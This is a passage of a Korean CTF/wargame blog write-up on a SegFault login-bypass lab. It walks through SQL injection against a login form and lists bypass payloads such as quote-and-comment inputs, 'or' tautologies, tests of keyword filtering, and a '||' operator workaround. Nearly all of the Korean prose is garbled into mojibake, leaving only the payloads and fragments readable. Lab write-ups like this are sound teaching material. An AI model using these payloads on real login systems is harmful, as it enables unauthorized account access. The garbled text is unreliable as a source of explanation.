Wargame & CTF/SegFault
[SegFault] (Authentication Bypass) - Login Bypass 2
Gearvirus(junyup2)
2023. 12. 6. 04:01
[SegFault] Authentication Bypass (Login)
Login Bypass 2.
normaltic2 λ‘ λ‘κ·ΈμΈνμ!
λ¬Έμ νμ
- μμ νμ΄μ§μ μ μνλ©΄ μλμ κ°μ νλ©΄μ΄ λμ¨λ€.
- μκ³ μλ κ³μ : [ID/PW] : doldol / dol1234
- Burp Suiteμ μ΄μ©νμ¬ μ¬μ΄νΈ μ μ κ³Όμ μ μνμ½λ(Status code) νμΈνλ€.
- 200 OK
- λ‘κ·ΈμΈ κ³Όμ μ ꡬ쑰λ₯Ό μκΈ° μν΄, μ°μ μκ³ μλ μ λ³΄λ‘ λ‘κ·ΈμΈ ν΄λ³Έλ€.
- λ‘κ·ΈμΈ κ³Όμ μ νμ€ν 리(HTTP history), μνμ½λ(Status code) νμΈνλ€.
- 302 Found
- 200 OK
- μμ²(Request)μ μ΄ν΄λ³΄μ !
- /login2/login.php κ²½λ‘μ postλ©μλλ‘ νλΌλ―Έν° UserId=doldol&Password=dol1234&Submit=Login λ€μ΄κ°λ κ²μ νμΈν μ μλ€.
- λ‘κ·ΈμΈμ΄ μ±κ³΅νμ¬ index.phpλ‘ λ¦¬λλ μ λλ κ²μ λ³Ό μ μλ€.
μκ° κ³Όμ
μκ° κ³Όμ
1. SQL Injectionμ΄ κ°λ₯νκ°? Yes
-> doldol' and '1'='1 / dol1234 λ‘ λ‘κ·ΈμΈ μλ : μ±κ³΅
2. μ΄λ€ λ‘μ§μΌλ‘ μ΄λ£¨μ΄μ Έ μμκΉ?
2-1. μλ³/μΈμ¦ λμ normaltic2'or'1'='1/ μ무거λ μλ :μ€ν¨(Fail)
2-2. or νν°λ§?! normaltic2'# / μ무거λ μλ
νμ΄ κ³Όμ (ν΄κ²° λ°©μ)
- or μ λν νν°λ§μ΄λΌκ³ μκ°νκ³ normaltic2'#μΌλ‘ λ‘κ·ΈμΈμ΄ κ°λ₯νλ€.
- νμ§λ§ or κ° μ΄λ€μμΌλ‘ νν°λ§ λμ΄ μλμ§λ₯Ό μκ°ν΄λ³΄λ κ²μ΄ μ€μνκΈ° λλ¬Έμ λ€μκ³Ό κ°μ΄ ν μ€νΈ ν΄λ³΄μλ€.
or νν°λ§ ν μ€νΈ
μμΈ‘ κ°λ₯ν νν°λ§
' or ' μ΄ νν°λ§ λλ€κ³ μκ°νλ©΄
normaltic' or '1' -> normaltic1' κ° λλ€.
'or μ΄ νν°λ§ λλ€κ³ μκ°νλ©΄
normaltic' or'1' -> normaltic' 1 κ° λμ΄ μλλ€.
or' μ΄ νν°λ§ λλ€κ³ μκ°νλ©΄
normaltic'or '1' -> normaltic '1 κ° λμ΄ μλλ€.
'or' μ΄ νν°λ§ λλ€κ³ μκ°νλ©΄
normaltic'or'1' -> normaltic1' μ΄ λμ΄ λμΌνλ€.
ν μ€νΈ ν΄λ³΄λ©΄ μλμ κ°λ€.
' or ' (μ곡백Oλ·κ³΅λ°±X)
normaltic' or'1' = '1'# μ€ν¨
'or ' (μ곡백Xλ·κ³΅λ°±O)
normaltic'or '1' = '1'# μ€ν¨
'or' (곡백 μμ)
normaltic'or'1' = '1'#
' or ' (μλ€ κ³΅λ°±)
normaltic' or '1' = '1'# normaltic1μΌλ‘ μ±κ³΅
- μ¦ μλ€ κ³΅λ°±μ΄ μλ κ²½μ°λ§ λ€μ μ«μκ° μ λλ‘ λΆμ΄μ μ΄μ΄μ§μ μ μ μλ€.
- μμ κ²°κ³Όλ₯Ό λ°νμΌλ‘ μκ°ν΄λ³΄λ©΄?
λ€λ₯Έ νμ΄λ²
- normaltic' or '2' = '1'# μ λ£μμλ normaltic2λ‘ λ‘κ·ΈμΈλμ΄ μ΄ λ°©λ²μΌλ‘λ ν μ μμμ μ μ μλ€.
λν μ΄ λ¬Έμ μ νν°λ§μ λ¬Έμ orμ νν°λ§ νκ²μ΄κΈ° λλ¬Έμ
- normaltic2'||'1'='1 λ‘ normaltic2λ‘ λ‘κ·ΈμΈμ΄ κ°λ₯νλ€.
- || μ΄λΌλ or μ°μ°μμ λν΄μλ μλ§ν μλ€λ κ²μ νμΈν μ μμλ€.
μκ°ν΄λ³Ό μ
μ 체 μ‘°νκ° λλ κ²½μ°
normaltic1' = '0'#
normaltic1' = False#
normaltic1μΌλ‘ λ‘κ·ΈμΈλλ κ²½μ°
normaltic1' = True#
normaltic1'#
- μλ³κ³Ό μΈμ¦μ΄ λμμ λλ κ²½μ°μ '# μ ν΅ν΄μ password λΆλΆμ μ£Όμμ²λ¦¬ ν΄μ€λ€.
- μμ id λΆλΆλ§ μ΄μ©νμ¬ μ°Έ, κ±°μ§μ λ°λΌ μ‘°νλλ μ λ³΄κ° λ€λ¦μ μ μ μλ€.
μ§λ¬Έ νμ, μμ λ° λ³΄μμ λν μ§μ νμ